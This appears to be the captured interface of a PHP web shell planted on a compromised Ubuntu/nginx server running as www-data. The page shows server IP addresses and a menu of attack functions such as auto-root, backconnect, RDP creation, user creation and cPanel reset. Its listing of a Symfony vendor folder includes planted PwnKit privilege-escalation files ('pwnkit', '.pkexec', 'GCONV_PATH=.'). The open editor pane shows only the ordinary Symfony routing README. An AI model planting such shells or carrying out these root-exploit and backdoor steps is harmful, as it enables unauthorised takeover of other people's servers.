Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
nepalphd /
vendor /
symfony /
routing /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Annotation
[ DIR ]
drwxrwxr-x
DependencyInjection
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Generator
[ DIR ]
drwxrwxr-x
Loader
[ DIR ]
drwxrwxr-x
Matcher
[ DIR ]
drwxrwxr-x
.mad-root
0
B
-rw-r--r--
Alias.php
2.52
KB
-rwxrwxr-x
CHANGELOG.md
11.99
KB
-rwxrwxr-x
CompiledRoute.php
4.22
KB
-rwxrwxr-x
LICENSE
1.04
KB
-rwxrwxr-x
README.md
1.49
KB
-rwxrwxr-x
RequestContext.php
6.71
KB
-rwxrwxr-x
RequestContextAwareInterface.p...
546
B
-rwxrwxr-x
Route.php
12.19
KB
-rwxrwxr-x
RouteCollection.php
11.12
KB
-rwxrwxr-x
RouteCollectionBuilder.php
9.45
KB
-rwxrwxr-x
RouteCompiler.php
14.5
KB
-rwxrwxr-x
RouteCompilerInterface.php
754
B
-rwxrwxr-x
Router.php
12.31
KB
-rwxrwxr-x
RouterInterface.php
1015
B
-rwxrwxr-x
composer.json
1.61
KB
-rwxrwxr-x
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
Routing Component ================= The Routing component maps an HTTP request to a set of configuration variables. Getting Started --------------- ``` $ composer require symfony/routing ``` ```php use App\Controller\BlogController; use Symfony\Component\Routing\Generator\UrlGenerator; use Symfony\Component\Routing\Matcher\UrlMatcher; use Symfony\Component\Routing\RequestContext; use Symfony\Component\Routing\Route; use Symfony\Component\Routing\RouteCollection; $route = new Route('/blog/{slug}', ['_controller' => BlogController::class]); $routes = new RouteCollection(); $routes->add('blog_show', $route); $context = new RequestContext(); // Routing can match routes with incoming requests $matcher = new UrlMatcher($routes, $context); $parameters = $matcher->match('/blog/lorem-ipsum'); // $parameters = [ // '_controller' => 'App\Controller\BlogController', // 'slug' => 'lorem-ipsum', // '_route' => 'blog_show' // ] // Routing can also generate URLs for a given route $generator = new UrlGenerator($routes, $context); $url = $generator->generate('blog_show', [ 'slug' => 'my-blog-post', ]); // $url = '/blog/my-blog-post' ``` Resources --------- * [Documentation](https://symfony.com/doc/current/routing.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony)
Close